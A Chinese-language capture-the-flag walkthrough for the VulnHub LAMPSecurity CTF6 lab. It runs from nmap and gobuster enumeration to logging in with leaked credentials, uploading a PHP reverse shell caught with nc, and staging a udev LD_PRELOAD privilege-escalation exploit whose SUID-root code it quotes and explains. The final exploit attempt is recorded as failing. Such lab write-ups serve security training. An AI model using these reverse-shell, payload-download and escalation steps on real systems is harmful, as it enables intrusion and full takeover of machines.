LAMPSecurity: CTF6靶场渗透

LAMPSecurity: CTF6

来自 < https://www.vulnhub.com/entry/lampsecurity-ctf6,85/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.140

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.140

|--------|---------|-----------------------------|-----------------------------------------|
| 端口 | 服务 | 版本信息 | 关键风险 |
| 22 | SSH | OpenSSH 4.3 | 2006 年版本,存在多个漏洞,易受暴力破解和远程攻击 |
| 80 | HTTP | Apache httpd 2.2.3 (CentOS) | 老旧版本,有远程代码执行风险;PHPSESSID 未设 httponly 标志 |
| 111 | rpcbind | RPC #100000 | 可能泄露系统服务信息,辅助攻击者枚举目标 |
| 443 | HTTPS | Apache httpd 2.2.3 (CentOS) | 同 80 端口风险,SSL 证书已过期(2010 年到期) |
| 636 | status | RPC #100024 | RPC 状态服务,泄露系统信息 |
| 3306 | MySQL | 5.0.45 | 2007 年版本,存在权限绕过和远程代码执行漏洞 |

4,访问80端口开设的http服务

什么都没有,再扫描其子目录看看

gobuster dir -u http://192.168.23.140/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.23.140/sql/db.sql

得到了疑似账户密码的信息admin/adminpass

5,成功登录

http://192.168.23.140/index.php?action=add_event

找到文件上传位置,依旧上传kali自带木马,注意修改IP和端口

cp /usr/share/webshells/php/php-reverse-shell.php shell.php

mousepad shell.php

上传之后点击home触发反弹shell,与此同时kali打开对4444端口的监听

nc -lvvp 4444

成功getshell

6,信息收集一下

查看目前用户能否sudo提权,发现sudo被禁用

注意到linux的内核版本,查询一下是否有提权exp

searchsploit linux kernel 2.6 |grep "Local Privilege Escalation"

searchsploit -m 8478.sh

一、漏洞背景

  • udev 是 Linux 系统中用户空间的设备管理守护进程,负责处理内核通过 netlink 发来的热插拔事件。
  • 漏洞点:udev 在解析事件时,会直接继承和处理用户伪造的消息,其中的 环境变量未做安全限制
  • 攻击者通过伪造事件消息注入 LD_PRELOAD,可以让 udev 在 root 权限下加载攻击者的动态库。

二、EXP 的组成部分

  1. udev.c
    • 构造一个伪造的 netlink 消息,模拟设备 add 事件,发送给目标 udevd 的 pid。
    • 关键在这里:
      mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
      这会强制 udev 在处理事件时加载攻击者指定的 .so 文件。
  2. program.c
    • 动态库的 _init() 函数会在加载时自动执行。
    • 它做的事:
      setgid(0); setuid(0);
      unsetenv("LD_PRELOAD");
      execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
      把 /tmp/suid 变成一个 root:root 拥有的 setuid 程序
  3. suid.c
    • 一个很小的 C 程序:
      setgid(0); setuid(0);
      execl("/bin/sh","sh",0);
      编译后 /tmp/suid 就是一个能直接获取 root shell 的程序。

三、执行流程

  1. 攻击者先运行脚本:
    ./8478.sh <pid>
    其中 <pid> 是目标系统上 udevd 的 PID - 1(因为漏洞利用时这个值被用来构造 netlink 地址)。
  2. 脚本会自动:
    • 编译 udev.c 生成 /tmp/udev,负责编造消息。
    • 编译 program.c,生成恶意动态库 libno_ex.so.1.0,复制到 /tmp/。
    • 编译 suid.c,生成 /tmp/suid。
  3. 执行 /tmp/udev <pid>:
    • 向 udev 发送伪造的 netlink 消息。
    • udev 处理时被注入 LD_PRELOAD=/tmp/libno_ex.so.1.0。
    • 以 root 权限加载恶意库 → _init() 执行 → /tmp/suid 被提权为 root SUID 程序。
  4. 等 10 秒后,脚本执行:
    /tmp/suid
    直接获得一个 root shell。

四、使用要点

  1. 要知道 udevd 的 pid(通常 ps aux | grep udevd,然后减 1)。
  2. 要确保 /tmp/ 可写(大多数 Linux 都是可写的 tmpfs)。
  3. 成功运行后,/tmp/suid 会变成 root 权限 + SUID,可随时提权。

五、根本原理总结

  • 攻击面:udev 的 netlink 消息处理
  • 技术点:通过伪造热插拔事件,注入环境变量 LD_PRELOAD。
  • 本质:利用 root 进程加载动态库 → 执行恶意 _init() → 创建一个 SUID 提权程序。

7,kali开启http服务

python -m http.server

靶机下载提权脚本

cd /tmp

wget http://192.168.23.128:8000/8478.sh

赋予执行权限

chmod +x 8478.sh

查询udevd的pid

ps aux | grep udevd

./8478.sh 569

脚本利用失败

相关推荐
聆风吟º7 小时前
【Spring Boot 报错已解决】Web server failed to start. Port 8080 was already in use.
spring boot·笔记·技术干货
特种加菲猫7 小时前
并发编程的守护者:信号量与日志策略模式解析
linux·笔记·策略模式
赶飞机偏偏下雨8 小时前
【Java笔记】单例模式
java·笔记·单例模式
GoldenaArcher8 小时前
OpenAPI Specification 系列笔记 III
笔记
厦门辰迈智慧科技有限公司9 小时前
水闸自动化监控系统解决方案
运维·服务器·物联网·安全·自动化·监测
happilyaaa9 小时前
B站 韩顺平 笔记 (Day 27)
笔记
房屋安全鉴定检测11 小时前
房屋安全鉴定注意事项
安全·网络安全
房屋安全鉴定检测11 小时前
房屋安全鉴定机构服务内容
安全·网络安全
我真的是大笨蛋14 小时前
K8S-Pod(下)
java·笔记·云原生·容器·kubernetes